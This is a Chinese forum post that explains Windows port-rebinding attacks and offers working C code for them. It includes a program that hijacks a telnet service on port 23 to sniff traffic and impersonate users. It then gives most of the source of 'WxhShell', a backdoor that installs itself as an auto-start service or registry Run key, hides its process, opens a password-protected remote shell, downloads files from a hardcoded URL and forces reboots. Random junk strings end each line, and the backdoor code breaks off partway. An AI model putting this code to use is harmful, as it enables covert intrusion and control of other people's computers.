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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: nAC#_\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); IbaL.t\>  
#C7j|9Ew1]  
  saddr.sin_family = AF_INET; PGhZ`nl  
#E@i@'T  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vj$ 6  
Cb-E<W&2D  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~ b_gwJ'  
m =F@CA~C  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 fb;"J+  
Czxrn2p/  
  这意味着什么?意味着可以进行如下的攻击: A:J{  
~8{3Fc0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ck+rOGv7{Z  
O; sQPG,v  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) i)3\jO0&GU  
gQDK?aQX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *?"{T;4u~O  
:vT%5CQ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I@M^Wu]wW  
y ]%,Y=%X  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %.U{):lNx  
6|Q'\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mnj A8@1  
!c($C   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (\>'yW{f  
4,DsB'  
  #include [0#hgGO]P  
  #include uy:=V }p  
  #include rv%[?Ml  
  #include    {jf~?/<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   jtY~- @*  
  int main() .x8$PXjPG  
  { uJ\Nga<?  
  WORD wVersionRequested; fC|u  
  DWORD ret; sR .j~R  
  WSADATA wsaData; j #YFwX4.  
  BOOL val; i8.[d5  
  SOCKADDR_IN saddr; 4] 1a^@?  
  SOCKADDR_IN scaddr; 6Qu*'  
  int err; R!G7;m'N1  
  SOCKET s; ?Fpl.t~  
  SOCKET sc; >cL2PN_y  
  int caddsize; ;~1JbP  
  HANDLE mt; I!D*(>  
  DWORD tid;   2N 4>  
  wVersionRequested = MAKEWORD( 2, 2 ); R?s\0  
  err = WSAStartup( wVersionRequested, &wsaData ); -~fI|A^  
  if ( err != 0 ) { I9>*Yy5RNS  
  printf("error!WSAStartup failed!\n"); %m3efaC  
  return -1; ;$< ek(i7  
  } p\ S3A(  
  saddr.sin_family = AF_INET; x~eEaD5m%J  
   B,,d~\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Beg5[4@  
Kf~+jYobO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6QQ oHYtZ  
  saddr.sin_port = htons(23); q2vz#\A?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GR `ncI$z  
  { lJ#>Y5Qg  
  printf("error!socket failed!\n"); ?F{xDfqw  
  return -1; F9w&!yW:  
  } Mk?I}  
  val = TRUE; iZk``5tPE  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5V!XD9P'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [{$0E=&0  
  { _<Yo2,1^  
  printf("error!setsockopt failed!\n"); q(^J7M)  
  return -1; [bJnl>A  
  } F9r*ZyNlx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; P^W47 SO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1H7Q[ 2E  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (=V[tI+Ngt  
mC(t;{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !H\GHA'DO]  
  { l&xD3u^G  
  ret=GetLastError(); 8-YrmP2k  
  printf("error!bind failed!\n"); 'U$VO q?!  
  return -1; S]O Hv6  
  } uf] $@6)  
  listen(s,2); Qe.kN dT+_  
  while(1) J?fh3RW9  
  { e}AJxBE  
  caddsize = sizeof(scaddr); d<nB=r!*  
  //接受连接请求 /j@ `aG(a  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1:UC\WW  
  if(sc!=INVALID_SOCKET) ~')t1Ay s  
  { :Xh`.*{EX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^VPl>jTg  
  if(mt==NULL) =XlIe{  
  { \RyA}P5 S  
  printf("Thread Creat Failed!\n"); q|l|mO  
  break; ?^4sE-C6  
  } PGl-2Cr  
  } z ]N~_9w  
  CloseHandle(mt); %v:h]TA  
  } vaJXX  
  closesocket(s); FD+PD:cQn  
  WSACleanup(); IF}c*uGj}  
  return 0; 0.+eF }'H  
  }   z}2e;d 7  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ab<Ok\e5  
  { r ;8z"*  
  SOCKET ss = (SOCKET)lpParam; ,!u@:UBT  
  SOCKET sc; YKOO(?lv  
  unsigned char buf[4096]; ! H=k7s  
  SOCKADDR_IN saddr; |hQ|'VCN  
  long num; %kFELtx  
  DWORD val; [Fj+p4*N  
  DWORD ret; E?4@C"Na  
  //如果是隐藏端口应用的话,可以在此处加一些判断 rtmt 3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   RXS|-_$  
  saddr.sin_family = AF_INET; ^J~A+CEf"W  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7P^{*!  
  saddr.sin_port = htons(23); 1$D`Z/N"A  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 33*d/%N9  
  { i)PV{3v$J  
  printf("error!socket failed!\n"); L(2P|{C  
  return -1; s_Oh >y?Aq  
  } UAXF64w{  
  val = 100; KSB_%OI1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C2=iZ`Z>T  
  { RzJ}CT  
  ret = GetLastError(); s?x>Yl %  
  return -1; \M"^Oe{Dy?  
  } :`u&TXsu  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >{qK ]xj  
  { 3 [)s;e  
  ret = GetLastError(); G1;'nwf}  
  return -1; %*6oUb  
  } io r [v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *(&ClUQQ  
  { }vUlTH  
  printf("error!socket connect failed!\n"); Ie&b <k  
  closesocket(sc); J6( RlHS;  
  closesocket(ss); @Gn?8Ur%  
  return -1; <r+!hJ[s'  
  } <\d|=>;  
  while(1) Op/79 ]$  
  { vMZ7uO  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 sE%<"h\_0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 V)1:LLRW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !` M;#  
  num = recv(ss,buf,4096,0); lO2T/1iMTW  
  if(num>0) !(]dz~sM  
  send(sc,buf,num,0); 29iIG 'N  
  else if(num==0) !V]MLA`  
  break; Rg?{?qK\K  
  num = recv(sc,buf,4096,0); /y9J)lx  
  if(num>0) oWx_O-_._  
  send(ss,buf,num,0); TXJY2J*24  
  else if(num==0) Z`oaaO  
  break; &8Jg9#  
  } &vFqe,Z  
  closesocket(ss); lLkmcHu  
  closesocket(sc); oGJ*Rn)Z  
  return 0 ; ckf<N9  
  } iF [?uF  
i[2bmd!H  
z#{ 0;t  
========================================================== ljYpMv.>xG  
b'7z DZI]  
下边附上一个代码,,WXhSHELL .|-l+   
8R\>FNk;  
========================================================== SLdN.4idK  
+HOCVqx  
#include "stdafx.h" FJ{,=@  
L$29L:  
#include <stdio.h> jD'  
#include <string.h> b W=.K>|  
#include <windows.h> \LdmGv@ &  
#include <winsock2.h> r=~WMDCz@  
#include <winsvc.h> @K$VV^wp  
#include <urlmon.h> t['k%c  
Pt6hGSo.  
#pragma comment (lib, "Ws2_32.lib") sK`~Csb iB  
#pragma comment (lib, "urlmon.lib") \~@[QGKN  
rU=b?D)n!w  
#define MAX_USER   100 // 最大客户端连接数 [j)\v^m  
#define BUF_SOCK   200 // sock buffer [=F>#8=  
#define KEY_BUFF   255 // 输入 buffer j+DE|Q&]I  
Hp)X^O"  
#define REBOOT     0   // 重启 PIZ C;K4|  
#define SHUTDOWN   1   // 关机 CM%|pB/z  
$!YKZ0)B'0  
#define DEF_PORT   5000 // 监听端口 Zm%VG(l  
0jxO |N2)  
#define REG_LEN     16   // 注册表键长度 .FIt.XPzv  
#define SVC_LEN     80   // NT服务名长度 k}-yOP{  
q>_vE{UB  
// 从dll定义API P?9nTG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UL86-R!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dB@Wn!Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :s'o~   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L([E98fo  
_W)`cr  
// wxhshell配置信息 slU  
struct WSCFG { fCgBH~w,9  
  int ws_port;         // 监听端口 m7$8k@r  
  char ws_passstr[REG_LEN]; // 口令 Jy \2I{I'  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z?m -&%  
  char ws_regname[REG_LEN]; // 注册表键名 5Z/yhF.{  
  char ws_svcname[REG_LEN]; // 服务名 G 1]"s@8(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3`8dii  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cVO,~I\\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r& vFikIz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LmP qLH'(Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v`y6y8:>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _p\629`  
L2KG0i`+  
}; "r u]?{v  
JkZ50L  
// default Wxhshell configuration UQ/qBbn  
struct WSCFG wscfg={DEF_PORT, y8G&Wg aCi  
    "xuhuanlingzhe", &~RR&MdZ2  
    1, g %f*ofb  
    "Wxhshell", LH4>@YPGE#  
    "Wxhshell", MWiMUTZg3  
            "WxhShell Service", X*i/A<Y`=  
    "Wrsky Windows CmdShell Service", 1%%'6cWWu  
    "Please Input Your Password: ", ?AEd(_a!q  
  1, Mtm/}I  
  "http://www.wrsky.com/wxhshell.exe", :M06 ;:e  
  "Wxhshell.exe" gw"~RV0  
    }; dm6~  
|'tW=  
// 消息定义模块 ~4Pc_%&i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7|YN:7iA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d{f@K71*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U[R@x`  
char *msg_ws_ext="\n\rExit."; P.djd$#  
char *msg_ws_end="\n\rQuit."; 98fu>>*G{  
char *msg_ws_boot="\n\rReboot..."; j Fma|y  
char *msg_ws_poff="\n\rShutdown..."; Ur^j$B}  
char *msg_ws_down="\n\rSave to "; b.b@bq$1  
oBA`|yW{U  
char *msg_ws_err="\n\rErr!"; #O~XVuvF0  
char *msg_ws_ok="\n\rOK!"; 6k"P&AD  
2edBQYWd  
char ExeFile[MAX_PATH]; Bn?:w\%Ue  
int nUser = 0; JWROYED  
HANDLE handles[MAX_USER]; m*Lo|F  
int OsIsNt; m#f{]+6U  
_tAQ=eBO  
SERVICE_STATUS       serviceStatus; 6 {}JbRNf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w(j^ccPD  
Tr& }$kird  
// 函数声明 |9Yi7.  
int Install(void); ;Wc4qJ.@  
int Uninstall(void); fj>C@p  
int DownloadFile(char *sURL, SOCKET wsh); jTb-;4 N'  
int Boot(int flag); p_{("zQ  
void HideProc(void); auHFir 8f  
int GetOsVer(void); "CQw/qZw  
int Wxhshell(SOCKET wsl); -Xz&}QA  
void TalkWithClient(void *cs); zP!J/}z  
int CmdShell(SOCKET sock); 0:&ZnE}##  
int StartFromService(void); #z!^ <,  
int StartWxhshell(LPSTR lpCmdLine); Lq (ZcEKo  
WKmbNvN^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QvLZg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); DNkWOY#{  
PXzT6)  
// 数据结构和表定义 e-5?p~>  
SERVICE_TABLE_ENTRY DispatchTable[] = w,1Ii}d9  
{ d2S~)/@S  
{wscfg.ws_svcname, NTServiceMain}, Y[Ltrk{  
{NULL, NULL} 8FkFM^\1L  
}; dQb.BOI)h  
|J0Q,F]T  
// 自我安装 ,xI%A, (,;  
int Install(void) {g6Qv-  
{ Y+~g\z-]c  
  char svExeFile[MAX_PATH]; RDM`9&V!jp  
  HKEY key; E7zm{BX]  
  strcpy(svExeFile,ExeFile); xJs;v  
8|Y.|\  
// 如果是win9x系统,修改注册表设为自启动 -e u]:4  
if(!OsIsNt) { C\ZkGX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yw; D:Y(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]bi)$j.9s  
  RegCloseKey(key); <?Wti_ /M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LjB;;&VCn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IJIzXU  
  RegCloseKey(key); [&?8,Q(  
  return 0; =*vMA#e  
    } v%{.A)  
  } &w 8)* T  
} ra N)8w}-  
else { f:B>zp;N  
'3IC*o"  
// 如果是NT以上系统,安装为系统服务 3jH\yXj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >wHxmq8F5<  
if (schSCManager!=0) l`-bFmpA  
{ &sXRN &Fp  
  SC_HANDLE schService = CreateService eM7Bc4V  
  ( WKz> !E%  
  schSCManager, '_k+WH&  
  wscfg.ws_svcname, C[!MS5  
  wscfg.ws_svcdisp, P|tNL}2`;  
  SERVICE_ALL_ACCESS, r7]zQIE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^u}L;`L  
  SERVICE_AUTO_START, >gwz,{  
  SERVICE_ERROR_NORMAL, K$K^=> I"o  
  svExeFile, @+F4YJmB?l  
  NULL, m!z|h9Ed  
  NULL, cRd0S*QN2  
  NULL, p[lNy{u~M  
  NULL, XdLCbY  
  NULL {j5e9pg1L|  
  ); `LAR@a5i  
  if (schService!=0) `@[c8j7  
  { jcNT<}k C  
  CloseServiceHandle(schService); ae"]\a\&1o  
  CloseServiceHandle(schSCManager); P}ok*{"J<>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;$Y4xM`=m  
  strcat(svExeFile,wscfg.ws_svcname); I1oje0$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m-^ 8W[r+_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8d*/HF)h  
  RegCloseKey(key); G7--v,R1x  
  return 0; ]?x: Qm'yo  
    } }g#&Q0  
  } \Y6WSj?E  
  CloseServiceHandle(schSCManager); 2aJS{[  
} [V'QrcCF  
} Q#h 9n]5  
.s+aZwTMT  
return 1; b@3_L4~  
} uVzFsgBp  
"&+"@ <  
// 自我卸载 Mu'8;9_6  
int Uninstall(void) ) ri}nL.  
{ '47P|t  
  HKEY key; h/B>S  
&>e-(4Xu  
if(!OsIsNt) { 3}|'0(hYL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #Z6'?p9  
  RegDeleteValue(key,wscfg.ws_regname); s"Pf+aTW  
  RegCloseKey(key); >pU:Gr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +)2s-A f-  
  RegDeleteValue(key,wscfg.ws_regname); ~QvqG{bFB  
  RegCloseKey(key); JXyM\}9-X  
  return 0; PJcwH6m  
  } (JM4R8fR&  
} %Y!Yvw^&P(  
} <SI}lQ'i  
else { V& C/Z}\  
pb#?l6x$+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /-bO!RTwf  
if (schSCManager!=0) J|&JD?  
{ wywQ<n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l NQcYv  
  if (schService!=0) !S&L*OH,  
  { t |~YEQ  
  if(DeleteService(schService)!=0) { 2h[85\4  
  CloseServiceHandle(schService); ChCrL [2  
  CloseServiceHandle(schSCManager); pv&y91  
  return 0; 6oF7:lt  
  } 1Bpv"67  
  CloseServiceHandle(schService); dnj}AVfQx  
  } kWdi59 5  
  CloseServiceHandle(schSCManager); Nbp!teH6  
} Zh_|m#)  
} 0_CN/5F  
B" 3dQwQ  
return 1; u%.$BD Hg  
} 8T(e.I  
C -iK$/U  
// 从指定url下载文件 i86>]  
int DownloadFile(char *sURL, SOCKET wsh) JA)] _H P  
{ ei rzYt  
  HRESULT hr; ve\X3"p#  
char seps[]= "/"; gks{\H]  
char *token; EY \H=@A  
char *file; -%L6#4m4o  
char myURL[MAX_PATH]; yz0zFfiX  
char myFILE[MAX_PATH]; n5{Xj:}  
nxr!`^Mne  
strcpy(myURL,sURL); kYLM&&h  
  token=strtok(myURL,seps); TC<@e<-%Sq  
  while(token!=NULL) P3oI2\)*i  
  { L:9F:/G  
    file=token; sqW* pi  
  token=strtok(NULL,seps); );FJx~b  
  } Sv  &[f}S  
&B|D;|7H  
GetCurrentDirectory(MAX_PATH,myFILE); +). 0cs0k5  
strcat(myFILE, "\\"); Qci4J  
strcat(myFILE, file); ,u/aT5\_  
  send(wsh,myFILE,strlen(myFILE),0); 4n4?4BEn  
send(wsh,"...",3,0); '{(UW.Awo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); # 0Lf<NZ  
  if(hr==S_OK) sq;s]@~  
return 0; ^.>jG I%rB  
else Ud!4"<C_  
return 1; E <c9#I=  
K3=3~uY  
} (<)]sp2   
[w -l?  
// 系统电源模块 Qm/u h  
int Boot(int flag) 4)("v-p  
{ 4 M(-xl?  
  HANDLE hToken; :duo#w"K  
  TOKEN_PRIVILEGES tkp; $ >EYhLBa  
A$w4PVS  
  if(OsIsNt) { \.3D~2cU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yfm^?G|sW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'Tc]KXD6  
    tkp.PrivilegeCount = 1; rSJ9 v :  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^g`&7tX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uh?>- ]r`  
if(flag==REBOOT) { ma((2My'H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) et }T %~T  
  return 0; w.0qp)}  
} 'CN|'W)g7  
else { qu-/"w<3$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;]pJj6J&v  
  return 0; t8dm)s[r8  
} X0n~-m"m  
  } 3l#IPRn9AO  
  else { X3V'Cy/sy  
if(flag==REBOOT) { E8~}PQW:I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dx+hhg\L  
  return 0; <NuUW9+  
} \xS&v7b  
else { mzf+Cu:` v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o!!yd8~*r  
  return 0; d{E}6)1=  
} J;f!!<l\  
} mD/MJt5  
HdPoO;  
return 1; %,k] [V  
} E,f>1meN=  
\ 5,MyB2/`  
// win9x进程隐藏模块 INyk3`FT  
void HideProc(void) WuZ/C_  
{ I;1lX L  
[ U w i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <E0UK^-}  
  if ( hKernel != NULL ) Y>&Ew*Y  
  { txPIG/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 44F`$.v96  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?:L:EW8  
    FreeLibrary(hKernel); P'O#I}Dmw<  
  } Uv4`6>Ix  
,-OCc!7K  
return; m ]cHF.:5  
} iT)z_  
H8'Z#"h  
// 获取操作系统版本 Bdu&V*0g  
int GetOsVer(void) >~Qr  
{ P8?Fm`  
  OSVERSIONINFO winfo; +r<0zh,n.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4NdN< #Lr  
  GetVersionEx(&winfo); -k7X:!>QHC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?K3(D;5 &i  
  return 1; uy}%0vLo  
  else D11F.McM  
  return 0; s\P2Bp_{  
} (~J^3O]Fo  
0]jA<vLR  
// 客户端句柄模块 9,^_<O@Q  
int Wxhshell(SOCKET wsl) \2vg{  
{ 25&J7\P*  
  SOCKET wsh; fMf&?`V  
  struct sockaddr_in client; [XlB<P=|>  
  DWORD myID; )l{A{f6O  
N ^f}ui i  
  while(nUser<MAX_USER) Ps7_-cH  
{ ^^ j/  
  int nSize=sizeof(client); ux&:Rw\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sU*3\  
  if(wsh==INVALID_SOCKET) return 1; uTw|Q{f  
6JWGu/A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U IQ 6SvM  
if(handles[nUser]==0) 4ac1m,Jlt  
  closesocket(wsh); z'e1"Y.  
else CLktNR(45  
  nUser++; J=V yyUB  
  } &%}6q]e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =N;$0 Y(g  
b.,$# D{p  
  return 0; xBt<Yt"  
} :@WLGK*u.  
H-m`Dh5{  
// 关闭 socket F_ _H(}d  
void CloseIt(SOCKET wsh) s79 q 5  
{ sM0c#YK?  
closesocket(wsh); excrXx  
nUser--; gTuX *7w  
ExitThread(0); Lv^a+'  
} sxt`0oE  
&R0OeRToUb  
// 客户端请求句柄 ,?fN#gc :  
void TalkWithClient(void *cs) |9x%gUm  
{ T[m ~6  
=;g=GcVK  
  SOCKET wsh=(SOCKET)cs; =s6E/K  
  char pwd[SVC_LEN]; 8 `o{b"l+  
  char cmd[KEY_BUFF]; U* 4{"  
char chr[1]; N]V/83_  
int i,j; OM1*Iy  
.r(^h/IF  
  while (nUser < MAX_USER) { !>q?dhw@  
,v|CombIc.  
if(wscfg.ws_passstr) { }]tFz}E\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jjYM3LQcdP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kz$(V(k<  
  //ZeroMemory(pwd,KEY_BUFF); m&,bC)}  
      i=0; i+U@\:=  
  while(i<SVC_LEN) { 6xyY+  
m\/>C|f\  
  // 设置超时 {WIY8B'c  
  fd_set FdRead; NYGmLbq  
  struct timeval TimeOut; l&vm[3  
  FD_ZERO(&FdRead); Q +R3H,  
  FD_SET(wsh,&FdRead); `D4oAx d9  
  TimeOut.tv_sec=8; u mqLKf=x!  
  TimeOut.tv_usec=0; ip<15;Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :EYu 4Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U8EJC .e&O  
<g] ou YHZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -3u@hp_  
  pwd=chr[0]; P= &'wblm?  
  if(chr[0]==0xd || chr[0]==0xa) { .MzOLv   
  pwd=0; xq#U 4E  
  break; n9N#&Q"7m  
  } bcUC4g\9N  
  i++; 0Z@ARMCe|m  
    } #Tup]czO  
 Y>xi|TWN  
  // 如果是非法用户,关闭 socket MV% :ES?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iTj"lA  
} )!'Fa_$ e  
V h Z=,m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J'I1,5(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R.91v4 J  
dCa}ITg  
while(1) { <WZ1-  
YgO aZqN  
  ZeroMemory(cmd,KEY_BUFF); Uc_'3|e  
^2C0oX  
      // 自动支持客户端 telnet标准   GS$ZvO  
  j=0; ?BWHr(J  
  while(j<KEY_BUFF) { 7(yXsVq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <QYCo1_  
  cmd[j]=chr[0]; C/{nr-V3u  
  if(chr[0]==0xa || chr[0]==0xd) { 6T R8D\  
  cmd[j]=0; sN6 0o 7.  
  break; X_vI0YX9  
  } YRg=yVo 2  
  j++; L@)b%Q@a  
    } 1mT|o_K{ T  
,ma Aw}=  
  // 下载文件 zAKq7'_=  
  if(strstr(cmd,"http://")) { Kj~>&WU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A8_\2'b  
  if(DownloadFile(cmd,wsh)) -&qRo0^3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A6@+gP<  
  else )ZS:gD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m1^dT_7Z  
  } O\|C,Ep m  
  else { 7bgnZ]r8t  
nU=f<]S=  
    switch(cmd[0]) { Ma`   
  ""25ay  
  // 帮助 sh',"S#=@  
  case '?': {  IgzCh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;']vY  
    break; O0K@M  
  } X";QA":  
  // 安装 U6/m_`nc  
  case 'i': { O4 +SD  
    if(Install()) H$k![K6Uj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K B`1%=  
    else /7UovKKbz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9E->;0-  
    break; E]HND.`*>  
    } u7WTSL%  
  // 卸载 +(QMy&DtS  
  case 'r': { [#STR=_f  
    if(Uninstall()) $>S}acuC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ovl?j&8  
    else '-nuH;r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zJy 89ib'  
    break; ?c=R"Yg$  
    } *0Wi^f  
  // 显示 wxhshell 所在路径 j{7ilo(i  
  case 'p': { C]\^B6l<  
    char svExeFile[MAX_PATH]; dCoi>PO  
    strcpy(svExeFile,"\n\r"); v2Qc}o  
      strcat(svExeFile,ExeFile); ])$. "g  
        send(wsh,svExeFile,strlen(svExeFile),0); @MlU!oR&  
    break; OIXAjU*N  
    } 7{kpx$:_  
  // 重启 H/^TXqQ8  
  case 'b': { :N+#4rtgUY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !Z+*",]_  
    if(Boot(REBOOT)) Fl#VKU3h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TQ5MKqR$  
    else { 7=QC+XSO  
    closesocket(wsh); :C|>y4U&(s  
    ExitThread(0); +>i<sk  
    } |;Se$AdT#  
    break; jnU*l\,  
